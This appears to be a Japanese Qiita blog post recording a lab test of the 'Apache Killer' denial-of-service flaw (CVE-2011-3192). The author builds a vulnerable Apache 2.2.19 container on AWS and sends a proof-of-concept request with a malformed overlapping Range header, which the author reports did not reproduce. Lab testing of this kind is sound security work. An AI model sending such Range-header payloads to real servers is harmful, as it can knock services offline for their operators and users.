1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

AWS上でApache Killerを試すが

Last updated at Posted at 2020-04-11

概要

何かニッチで今頃?ですけど、Apache KillerをテストするためのApache 2.2.19の環境がほしいとの要求がありましてAWS上にDockerコンテナを作ってみました。
Apache Killerとは、2011年に公開されたApache HTTP Server存在する脆弱性(CVE-2011-3192)を悪用してDDoS攻撃をするツールの総称だそうです。脆弱性ではなくツールの総称だったのですね。

作業内容

事前準備

事前に以下を実施しております。
・AWSのアカウントの作成
・作業マシン(kali)にdocker-machineをインストール

また、事前準備はURL(※1)を参考にさせていただきDockerイメージを作成してDockerHub上にPushしております。

Dockerコンテナ作成

AWSへのDockerコンテナ作成はURL(※2)を参考にしました。
まず、作業マシンでaws-sandboxというEC2インスタンスをAWS上に作成します。

// アクセスキーの登録
$ mkdir ~/.aws
$ vi ~/.aws/credentials

[default]
aws_access_key_id = XXXXXXXXX
aws_secret_access_key = XXXXXXXX

// インスタンスの作成
$ docker-machine create --driver amazonec2 --amazonec2-open-port 8888 --amazonec2-region ap-northeast-1 aws-sandbox
  • AWS管理コンソール
    create_aws_sandbox_instanse_002.png

作業マシンでコマンドを発行し、インスタンス上でDockerイメージを取得します。

// 環境変数を設定
$ eval $(docker-machine env aws-sandbox)

// インスタンスを確認
$ docker-machine ls
NAME          ACTIVE   DRIVER      STATE     URL                       SWARM   DOCKER     ERRORS
aws-sandbox   *        amazonec2   Running   tcp://54.95.XX.XXXX:2376           v19.03.8   

// インスタンス上でDockerイメージを取得しコンテナを生成。
$ docker $(docker-machine config aws-sandbox) run -d -p 8888:80 --name apachekiller stcmjp/cve-2011-3192:1.0

インスタンスに接続すると、Dockerコンテナが生成されていることを確認できます。生成後コンテナはすぐに停止しております。

// AWS上のインスタンスに接続
$ docker-machine ssh aws-sandbox

// コンテナの状態を確認
$ sudo su -
# docker images
REPOSITORY             TAG                 IMAGE ID            CREATED             SIZE
stcmjp/cve-2011-3192   1.0                 db5ddb6a43bb        14 hours ago        1.44GB
# docker ps -a
CONTAINER ID        IMAGE                      COMMAND             CREATED             STATUS                     PORTS               NAMES
9ca518ad305c        stcmjp/cve-2011-3192:1.0   "/bin/bash"         8 minutes ago       Exited (0) 8 minutes ago                       apachekiller

引き続き、インスタンス上でコンテナを起動します。

// コンテナを起動し接続
# docker run -i -t -p 8888:80 -t stcmjp/cve-2011-3192:1.0 /bin/bash

// Apacheの起動
[root@b3230326486e /]# /etc/init.d/httpd start

これで作業マシン上のブラウザから http://54.95.XXX.XXX:8888/index.php に接続することができます。

phpinfo_002.png

脆弱性の検証

準備が整ったところで作業マシンからURL(※3)を参考にPoCを試してみます。

  • リクエスト
# telnet 54.95.XXX.XXX 8888
Trying 54.95.XXX.XXX...
Connected to 54.95.XXX.XXX.
Escape character is '^]'.
GET /index.php HTTP/1.1
Host: 54.95.XXX.XXX:8888
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30
  • レスポンス
HTTP/1.1 200 OK
Date: Sat, 11 Apr 2020 06:07:42 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/1.0.1e-fips DAV/2 PHP/5.3.5
X-Powered-By: PHP/5.3.5
Transfer-Encoding: chunked
Content-Type: text/html

あれ?再現できませんでした。orz
脆弱性のある場合はレスポンスコードが HTTP/1.1 206 Partial Contet になるはずですが、時間が無いので今回はここまでで終了しました。
時間ができたら詳しく調査してみます。

参考URL

  1. Dockerの使い方メモ
  2. docker docs
  3. PoC
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?